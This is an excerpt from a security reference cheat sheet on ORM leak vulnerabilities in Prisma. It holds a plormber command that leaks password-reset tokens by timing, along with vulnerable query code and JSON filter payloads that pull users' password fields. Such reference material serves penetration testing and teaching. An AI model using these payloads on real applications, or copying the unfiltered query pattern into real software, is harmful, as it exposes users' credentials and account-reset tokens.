**Tools**: * [elttam/plormber](https://github.com/elttam/plormber) - tool for exploiting ORM Leak time-based vulnerabilities ```ps1 plormber prisma-contains \ --chars '0123456789abcdef' \ --base-query-json '{"query": {PAYLOAD}}' \ --leak-query-json '{"createdBy": {"resetToken": {"startsWith": "{ORM_LEAK}"}}}' \ --contains-payload-json '{"body": {"contains": "{RANDOM_STRING}"}}' \ --verbose-stats \ https://some.vuln.app/articles/time-based; ``` **Example**: Example of an ORM leak in Node.JS with Prisma.
const posts = await prisma.article.findMany({
where: req.query.filter as any // Vulnerable to ORM Leaks
})Use the include to return all the fields of user records that have created an article
{
"filter": {
"include": {
"createdBy": true
}
}
}Select only one field
{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}Source: ORM Leak/README.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.